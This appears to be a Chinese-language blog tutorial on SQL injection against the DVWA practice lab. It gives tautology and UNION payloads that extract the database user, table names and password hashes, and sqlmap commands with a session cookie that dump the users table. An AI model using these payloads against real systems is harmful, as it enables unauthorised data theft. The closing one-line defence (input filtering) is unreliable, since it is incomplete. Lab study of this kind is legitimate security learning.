sqlinject

余生不晚發表於2024-11-20

SQL隱碼攻擊

SQL隱碼攻擊也叫SQL注碼,發生於應用程式與資料庫層的安全漏洞。在設計的不良程式中,忽略了字串檢查,那麼這些注入的惡意指令就會被資料庫伺服器誤認為是正常的SQL指令而執行。

例如

查詢使用者的SQL語句

select first_name,last_name from users where user_id='1' and 1=1#'

select first_name,last_name from users where user_id='1' or 1=1#'

斜體表示輸入的內容,1總是等於1所以會被查詢出來全部,#表示去掉後面有影響的SQL

怎麼利用SQL隱碼攻擊漏洞

  1. 判斷列數/欄位數 order by [column_num]
  2. select first_name,last_name from users where user_id='1' order by 1#'
  3. 如果第一列存在肯定有輸出,依次增加order by 的Num
  4. select first_name,last_name from users where user_id='1' union select user(),database()#'顯示當前資料庫連線使用者和資料庫名稱
  5. select first_name,last_name from users where user_id='1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#'
  6. 發現有users表,找到users表
  7. select first_name,last_name from users where user_id='1' union select user,password from users#'

SQLMap

  1. 官網sqlmap.org
  2. sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" --dbs 獲取所有資料庫名稱
  3. sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" -D dvwa --tables 獲取資料庫中的所有表 -D表示資料庫
  4. sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" -D dvwa -T users --columns 獲取users表中的所有列
  5. sqlmap -u "http://192.168.190.128:12345/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=i8gu0fjas4mrs30cjpklqcibc6; security=low" -D dvwa -T users --dump 獲取users表中的所有資料,後續可以選擇是否破解密碼

防禦

過濾手動輸入的內容,不讓輸入SQL語句